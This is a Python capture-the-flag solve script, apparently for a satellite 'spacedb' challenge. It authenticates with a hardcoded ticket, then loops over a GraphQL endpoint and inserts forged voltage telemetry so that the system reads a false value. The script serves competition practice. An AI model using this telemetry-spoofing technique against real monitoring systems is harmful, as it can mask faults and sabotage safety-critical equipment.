import re
import os
import glob
import time
import math
import requests
import threading

from pwn import *

TICKET = 'ticket{foxtrot47377romeo:GOQrsg86Lzk7zuEyjS8MoCoBXYFsoTH8LKdCocfTduVhDXIczFfB5GU_wdR3RmRuSg}'
USER_AGENT = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:76.0) Gecko/20100101 Firefox/76.0'


def do_query(uri, query):
    endpoint = 'http://{0}/graphql'.format(uri.split('/')[0])
    r = requests.post(
        endpoint,
        json={
            'query': query,
            'operationName': None,
            'variables': None,
        },
        headers={
            'Content-Type': 'application/json',
            'Accept': 'application/json',
            'Origin': endpoint.replace('/graphql', ''),
            'Referer': "http://{0}".format(uri),
            'User-Agent': USER_AGENT,
        }
    )
    return r.json()


def fix_voltage(uri):
    # Watch and replace voltage readings.
    while True:
        try:
            updates = [
                {
                    "parameter": "VIDIODE",
                    "new_value": "7.0",
                },
            ]
            for update in updates:
                # Get the latest telemetry value for the given parameter.
                telemetry = do_query(
                    uri,
                    '{{telemetry(parameter: "{0}", limit: 1){{value timestamp}}}}'.format(
                        update['parameter']
                    )
                )
                # Update with our specified value - if not already set.
                element = telemetry['data']['telemetry'][0]
                timestamp = '{0}.{1}'.format(
                    str(math.floor(element['timestamp'])),
                    '99999'
                )
                if element['value'] != update['new_value']:
                    log.warning(
                        '{0} fixed to {1} (from {3}) for {2}'.format(
                            update['parameter'],
                            update['new_value'],
                            timestamp,
                            element['value']
                        )
                    )
                    do_query(
                        uri,
                        'mutation {{insert(timestamp:{0},subsystem:"eps",parameter:"{1}",value: "{2}"){{success errors}}}}'.format(
                            timestamp,
                            update['parameter'],
                            update['new_value']
                        )
                    )
            time.sleep(1)
        except Exception:
            pass


if __name__ == '__main__':
    sock = remote('spacedb.satellitesabove.me', 5062)

    # Send ticket.
    sock.recvuntil('Ticket please:')
    log.info('Sending ticket')
    sock.sendline(str(TICKET))

    # Process out GraphQL endpoint.
    log.info('Waiting for Telemetry service endpoint')
    sock.recvuntil('telemetry database running at:')
    uri = sock.recvline().strip().decode('utf-8')
    log.info(uri)

    # Run a thread to constantly fix the voltage.
    log.info('Starting voltage fix-up thread')
    voltage_thread = threading.Thread(target=fix_voltage, args=(uri,))
    voltage_thread.start()

    # # Process out GraphQL endpoint.
    log.info('Waiting for Scheduler service to start')
    sock.recvuntil('Scheduler service comms started successfully at:')
    uri = sock.recvline().strip().decode('utf-8')
    log.info(uri)

    # DEBUG.
    while True:
        line = sock.recvline().strip().decode('utf-8')
        if line:
            log.info(line)